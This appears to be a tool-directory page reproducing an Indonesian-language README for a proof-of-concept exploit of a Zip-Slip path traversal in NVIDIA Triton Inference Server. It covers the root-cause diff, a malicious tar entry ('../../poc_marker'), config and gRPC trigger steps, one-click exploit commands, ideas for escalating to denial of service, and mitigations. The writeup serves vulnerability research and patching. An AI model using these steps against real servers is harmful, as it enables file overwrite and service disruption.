Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-47627 — Proof-of-concept exploit for CVE-2026-47627, a path traversal vulnerability in NVIDIA Triton Inference Server leading to arbitrary file write via Zip-Slip. Includes detailed analysis, lab environment, and one-click exploit scripts. | Kitploit
Tools/GitHubGitHub/anekazek/cve-2026-47627
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubanekazek/cve-2026-47627

cve-2026-47627

Proof-of-concept exploit for CVE-2026-47627, a path traversal vulnerability in NVIDIA Triton Inference Server leading to arbitrary file write via Zip-Slip. Includes detailed analysis, lab environment, and one-click exploit scripts.

View Repository
3921 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-47627 — NVIDIA Triton Inference Server Path Traversal → DoS (Zip-Slip)

Writeup lengkap hasil riset & PoC di repo ini (image nvcr.io/nvidia/tritonserver:26.05-py3 / server v2.69.0). Repo di-setup untuk selalu explicit agar PoC tanpa restart via gRPC.


Daftar Isi

  1. Ringkasan CVE
  2. Lingkungan Lab
  3. Anatomi Kerentanan
  4. Analisis Root Cause (Diff 26.05 → 26.06)
  5. Jalur Eksploitasi: Mana yang Beneran Kena?
  6. PoC Utama: Zip-Slip via EXECUTION_ENV_PATH
  7. Cara Menjalankan PoC (One-Click)
  8. Bukti Traversal (Bukan 500 Fake)
  9. Dampak DoS
  10. Mitigasi
  11. Struktur Repo (Sesudah Dibersihkan)
  12. Referensi & Timeline

1. Ringkasan CVE

FieldNilai
CVECVE-2026-47627
CNA[email protected]
Publish2026-08-18 (NVD Awaiting Analysis)
BulletinNV 5865 → https://github.com/NVIDIA/product-security/tree/main/2026/5865
CVSS 3.19.8 CRITICAL AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-22 Path Traversal
Affected0.0-26.05 (server v2.69.0 / core r26.05)
Fixed26.06 (server v2.70.0 / core r26.06)
ImpactDoS (deskripsi CNA) — riset ini membuktikan file write outside /models via Zip-Slip, yang bisa diperluas ke DoS/resource exhaustion
CreditMartin Brodeur

Catatan jujur: Deskripsi CNA hanya path traversal → DoS tanpa detail. Writeup ini merekonstruksi letak bug via diff r26.05..r26.06 dan pengujian langsung di container 26.05-py3.


2. Lingkungan Lab

Image: nvcr.io/nvidia/tritonserver:26.05-py3 (TRITON_VERSION 2.69.0)

Compose selalu explicit (sudah di-patch di repo ini):

root@kitploit:~
# docker-compose.yml:12
command: ["tritonserver", "--model-repository=/models", "--model-control-mode=explicit", "--log-verbose=0"]

run_triton.bat:10, run_triton.ps1:11, run_triton.sh:12 juga sudah explicit.

Mode Triton:

  • NONE (default upstream) → load sekali pas start, POST /v2/repository/models/.../load → 503, harus restart untuk load model baru.
  • POLL → scan repo tiap detik, auto-load, tetap block explicit load.
  • EXPLICIT (repo ini) → tidak scan, tapi buka gRPC load_model / POST /load → PoC tanpa restart via gRPC.

Port: | 8000 | HTTP REST | v2/health, v2/models, v2/repository | | 8001 | gRPC | RepositoryModelLoad, ModelInfer | | 8002 | Metrics | Prometheus |

Model awal:

root@kitploit:~
model_repository/
├── echo_python/ (python backend, model.py)
│   └── 1/model.py
└── identity_onnx/ (onnxruntime, model.onnx ~1KB)

Quickstart:

root@kitploit:~
docker compose up -d
docker compose logs -f
py scripts/client_test.py  # health + infer identity_onnx

3. Anatomi Kerentanan

root@kitploit:~
User input (model_name / tar entry) ──► join(parent, child) ──► canonicalize ──► cek "child di dalam parent?" ──► buka file
         │                                    │                     │                         │                     │
         └──► "../tmp/pwn"               /models + "/../tmp/pwn" = /models/../tmp/pwn → /tmp/pwn    rfind vs find + '/' check    FileExists / extract
  • Jika join tanpa canonicalize atau cek rfind(parent,0)==0 yang salah (partial-match /models vs /models_evil), maka ../ bisa escape.
  • DoS terjadi kalau file yang di-traverse adalah FIFO, /dev/zero, /proc/self/mem, atau tar berisi ../../ yang overwrite file sistem → hang / OOM / crash.

Tiga pertanyaan riset (dari laporan awal):

  1. Di mana user kontrol path? → model_name di gRPC RepositoryModelLoad, EXECUTION_ENV_PATH tar entry, file: override, TRITON_BATCH_STRATEGY_PATH.
  2. Bagaimana path dipakai? → posixpath.join(repo, model_name) / temp_dir + "/" + file_name + IsChildPathEscapingParentPath.
  3. Apa dampak? → DoS via resource exhaustion / hang. Di repo ini dibuktikan file write ke /tmp/poc_marker.

4. Analisis Root Cause (Diff 26.05 → 26.06)

Repo core (r26.05..r26.06):

  1. src/filesystem/api.cc:407 IsChildPathEscapingParentPath — fix dcb315d + 72f3d9b:

    root@kitploit:~
    // VULN (r26.05):
    absolute_child.rfind(absolute_parent,0) != 0
    // → bug partial-match: "/models" prefix dari "/models_evil/file" dianggap inside
    
    // FIXED (r26.06):
    canonical_child.find(canonical_parent,0)==0 &&
    ((child.size() > parent.size() && child[parent.size()]=='/') || child.size()==parent.size())
    // → harus '/' setelah prefix, "/models_evil" sekarang correctly outside
    

    Dipakai di src/backend_model.cc:196 (TRITON_BATCH_STRATEGY_PATH) dan src/model_repository_manager/model_repository_manager.cc:162 (file:).

  2. src/model_repository_manager/model_repository_manager.cc:62 ValidateModelName — core#472/#481 (Maret 2026, sudah di 26.05 tapi diperketat di 26.06):

    root@kitploit:~
    if (trimmed==".." || trimmed.find('/')!=npos) return INVALID_ARG "must not contain path traversal"
    

    Ini yang bikin gRPC load_model('../tmp/pwn') → 400 INVALID_ARGUMENT di 26.05 (sudah blocked). Tapi %2f (encoded /) lolos karena bukan / literal → 500 poll literal.

  3. python_be.cc:292 EXECUTION_ENV_PATH — e520f8c7 test zipslip_test.py: Tar diekstrak tanpa cek .. / absolute. Entry ../../poc_marker dari /models/poc_exploit/malicious_env.tar.gz diekstrak ke /tmp/poc_marker (di luar model dir). Fix di 26.06: pakai ARCHIVE_EXTRACT_SECURE_NODOTDOT|NOABSOLUTEPATHS + cek IsChildPathEscapingParentPath.

Repo server (r26.05..r26.06): hanya sagemaker_server.cc:1027 (RE2::FullMatch check) + http_server.cc:2440 (atoi→stoi), bukan jalur CVE ini.

Kesimpulan: Jalur model_name via HTTP/gRPC sudah di-block di 26.05 oleh ValidateModelName, tapi Zip-Slip tar belum — inilah yang dieksploitasi PoC repo ini.


5. Jalur Eksploitasi: Mana yang Beneran Kena?

VektorPayload26.05 HasilKena?
HTTP raw ../POST /v2/repository/models/../tmp/pwn/load404 (routing normalize)❌
HTTP encoded ..%2fPOST /v2/repository/models/..%2ftmp%2fpwn/load500 literal, poll /models/..%2ftmp%2fpwn tidak ada❌ (500 fake, bukan traversal)
gRPC raw ../tmp/pwnload_model('../tmp/pwn')400 INVALID_ARGUMENT❌ (sudah di-block)
gRPC encoded ..%2fload_model('..%2ftmp%2fpwn')500 poll literal❌
file: override ../models_evilfile:../models_evil/pwn400/500 tergantung partial-match⚠️ (tergantung IsChildPathEscapingParentPath bug, tapi sudah di-block ValidateModelName untuk model_name)
EXECUTION_ENV_PATH tar ../../poc_markermalicious_env.tar.gz entry ../../poc_marker200 + file di /tmp/poc_marker✅ VULN

Analogi 500 vs 400 di writeup lama salah: 500 = file tidak ada (pintu tidak ada), 400 = ditolak validasi (pintu dikunci). Keduanya tidak masuk. Hanya 200 + file di /tmp yang bukti.


6. PoC Utama: Zip-Slip via EXECUTION_ENV_PATH

Ide: Python backend parameter EXECUTION_ENV_PATH menunjuk ke $$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz. Saat load_model('poc_exploit'), backend pb_env.cc:292 extract tar tanpa sanitasi. Entry ../../poc_marker escape dari .../poc_exploit/ ke /tmp/poc_marker.

Langkah PoC (otomatis di scripts/exploit.py:28 & exploit.ps1:20):

  1. Copy echo_python → poc_exploit (scripts/exploit.py:35)
  2. Append config.pbtxt (scripts/exploit.py:40):
    root@kitploit:~
    parameters: {key: "EXECUTION_ENV_PATH", value: {string_value: "$$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz"}}
    
  3. Buat tar (scripts/exploit.py:44):
    root@kitploit:~
    TarInfo(name='../../poc_marker', size=6, mode=0o644)  # → /tmp/poc_marker
    TarInfo(name='bin/activate', mode=0o755)
    
  4. Trigger gRPC load_model('poc_exploit') (scripts/exploit.py:60) — tanpa restart karena explicit.
  5. Verify docker exec tritonserver-test cat /tmp/poc_marker → pwned (scripts/exploit.py:81)

7. Cara Menjalankan PoC (One-Click)

Prasyarat: Docker, image 26.05-py3 sudah docker compose up -d (repo sudah explicit).

Python (tanpa restart, via gRPC):

root@kitploit:~
py scripts/exploit.py              # auto-detect explicit → gRPC
py scripts/exploit.py --keep       # keep artifact buat cek manual
# cek manual: docker exec tritonserver-test cat /tmp/poc_marker
# clean manual: docker exec tritonserver-test rm -f /tmp/poc_marker

PowerShell:

root@kitploit:~
powershell -ExecutionPolicy Bypass -File exploit.ps1
powershell -ExecutionPolicy Bypass -File exploit.ps1 -Keep

Kembalikan ke MODE_NONE (jika mau default upstream):

root@kitploit:~
# edit docker-compose.yml:12 hapus --model-control-mode=explicit
docker compose up -d --force-recreate

Test blokir (harus 400/404/500, bukan 200):

root@kitploit:~
py scripts/test_http_grpc_blocked.py  # ada di repo lama, sekarang dihapus — pakai exploit.py log
# atau manual:
curl -i -X POST http://127.0.0.1:8000/v2/repository/models/..%2ftmp%2fpwn/load -H "Content-Type: application/json" -d "{}"  # 500
py -3 -c "import tritonclient.grpc as g; g.InferenceServerClient('127.0.0.1:8001').load_model('../tmp/pwn')"  # 400

8. Bukti Traversal (Bukan 500 Fake)

Vulnerable (26.05) — exploit.py output:

root@kitploit:~
[*] Triggering exploit via gRPC load (no restart)...
[+] gRPC load sent
[+] VULNERABLE: /tmp/poc_marker exists outside /models
    cat: pwned
[+] Exploit succeeded — file write outside repository confirmed

Verifikasi:

root@kitploit:~
docker exec tritonserver-test ls -l /tmp/poc_marker  # -rw-r--r-- 1 root root 6 ... /tmp/poc_marker
docker exec tritonserver-test cat /tmp/poc_marker   # pwned
docker logs tritonserver-test --tail 20 | grep Extracting  # Extracting Python execution env .../malicious_env.tar.gz

Patched (26.06) — expected:

root@kitploit:~
[-] Not vulnerable: /tmp/poc_marker not found
# log: Path contains '..'  (atau Path is absolute)

HTTP/gRPC .. harus 400, bukan 500:

root@kitploit:~
# 26.05 gRPC raw ../ → 400 INVALID_ARGUMENT (sudah di-block ValidateModelName)
# 26.05 gRPC ..%2f → 500 poll literal (bypass validasi tapi tidak traversal beneran)
# 26.06 keduanya → 400

9. Dampak DoS

CNA tulis DoS, tapi Zip-Slip ini bisa file overwrite → DoS:

  • Overwrite model.py / config.pbtxt model lain → model gagal load → 503
  • Tar berisi bin/activate besar / FIFO /tmp/fifo → hang thread pb_env.cc → UNAVAILABLE
  • Flood load_model dengan tar ../../dev/zero (infinite) → OOM

Repo ini fokus file write sebagai bukti traversal; DoS bisa diperluas dengan tar berisi 1/model.py yang infinite loop.


10. Mitigasi

  1. Patch: 26.06 (server v2.70.0, core r26.06) — IsChildPathEscapingParentPath + ARCHIVE_EXTRACT_SECURE_NODOTDOT.
  2. Workaround 26.05:
    • Jangan expose 8000/8001 ke internet (reverse proxy + auth)
    • WAF block .. & %2f di URL & EXECUTION_ENV_PATH
    • Disable Python backend EXECUTION_ENV_PATH jika tidak perlu
  3. Deteksi: docker logs tritonserver-test | grep "Path contains\|failed to poll.*%2f"

11. Struktur Repo (Sesudah Dibersihkan)

root@kitploit:~
.
├── model_repository/
│   ├── echo_python/          # python backend sample
│   └── identity_onnx/        # onnxruntime sample
├── scripts/
│   ├── exploit.py:1          # PoC utama (Python, oneclick, gRPC, no restart)
│   ├── generate_model.py     # regen identity_onnx
│   └── client_test.py        # health + infer test
├── exploit.ps1:1             # PoC utama (PowerShell, oneclick)
├── docker-compose.yml:12     # selalu explicit
├── run_triton.bat:10 / .ps1:11 / .sh:12  # selalu explicit
├── requirements.txt          # numpy, onnx, requests, tritonclient[http,grpc], grpcio, protobuf
└── README.md                 # writeup ini

Dihapus: exploit_cve_*.py, poc_zipslip_simple.py, check_mode.py, test_http_grpc_blocked.py, cleanup_poc.py, test_poc.ps1, null, model_repository/zipslip_*, /tmp/poc_marker.


12. Referensi & Timeline

  • Bulletin NV 5865: https://github.com/NVIDIA/product-security/tree/main/2026/5865 (5865.md, CVE-2026-47627.json)
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-47627 (Awaiting Analysis)
  • Fix commits core r26.06: dcb315d (Modernize Child Path), 72f3d9b (child path test), e520f8c7 (zipslip test), 50830ba/66f09f8 (ValidateModelName)
  • Fix server r26.06: v2.70.0 (690f9dd)
  • Credit: Martin Brodeur
TanggalKejadian
2026-03-03core#472 ValidateModelName
2026-03-16core#481 POSIX trim
2026-05-18core#497 IsChildPathEscapingParentPath
2026-06-02server#8857 zipslip test
2026-06-2626.06 / v2.70.0 rilis patch
2026-08-18CVE publish
2026-09-02PoC repo ini diverifikasi di 26.05-py3 → VULNERABLE

Catatan

PoC ini untuk edukasi & lab tertutup. Jangan expose 8000/8001 tanpa auth. Selalu exploit.py --keep lalu docker exec tritonserver-test rm -f /tmp/poc_marker & Remove-Item -Recurse model_repository/poc_exploit setelah demo.

Download Tool